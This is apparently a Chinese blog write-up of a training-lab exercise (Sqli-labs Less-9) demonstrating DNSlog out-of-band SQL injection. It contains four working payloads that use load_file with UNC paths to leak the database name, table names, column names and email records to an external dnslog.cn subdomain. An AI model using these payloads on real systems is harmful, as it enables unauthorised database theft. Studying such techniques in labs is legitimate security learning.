之前提到的时间盲注,虽然用途比较广泛,但其查询耗时较长;且盲注都需要发送大量请求,容易被WAF拦截。
此时,我们就要用到DNSlog注入——一个可以以较少的访问次数快速获取信息的注入方式。
(不过,它对服务端有一些额外要求;此处的DNSlog注入必须在相关权限开放且服务端系统为windows时才可执行)
(BUUOJ那个sql-lab就不行)
本测试请不要在校园网上进行!!!
准备工作:
一、DNS方面:一个可用的本地DNS服务器。
此处使用http://www.dnslog.cn/
Get SubDomain以后,验证是否能够使用:
输入URL:http://test.z2v67d.dnslog.cn/ ,有:
证明DNS服务器工作正常。
二、SQL方面:检查权限字段
如果是这样就行了;不是的话去相关ini文件把第三个值删掉。
三、复现:
以Sql-labs Less-9为例。我们曾经以时间盲注解过此题。
payloads:
id=-1' and if((select load_file(concat('\\\\',(select database() limit 0,1),'.z2v67d.dnslog.cn\\abc'))),1,0)--+
id=-1' and if((select load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema=database() ),'.z2v67d.dnslog.cn\\abc'))),1,0)--+
id=-1' and if((select load_file(concat('\\\\',(select hex(group_concat(column_name)) from information_schema.columns where table_schema=database() and table_name='emails' ),'.z2v67d.dnslog.cn\\abc'))),1,0)--+
id=-1' and if((select load_file(concat('\\\\',(select hex((email_id)) from emails limit 1,1),'.z2v67d.dnslog.cn\\abc'))),1,0)--+
DNS服务器记录:
解码:
四、心路历程
实现这玩意之前我对DNS一窍不通,所以花了挺长时间看原理(现在其实还是有点晕)
实现过程中,主要的两道坎:
(1)Load_file
里面需要加入绝对路径。 eg:select load_file('D:/wamp64/www/sqli-labs-php7-master/Less-1/result.txt');
而在测试时,需要使用UNC网络路径
格式:\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。 目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename。 eg: select load_file('\\\\loadfiletest.z2v67d.dnslog.cn\\abc'); 双倍反斜杠是为了处理转义。(2)查库内容
(若查询成功,页面会有几秒的刷新延迟;可通过这个快速判断查询成败(类似time-blind了有没有))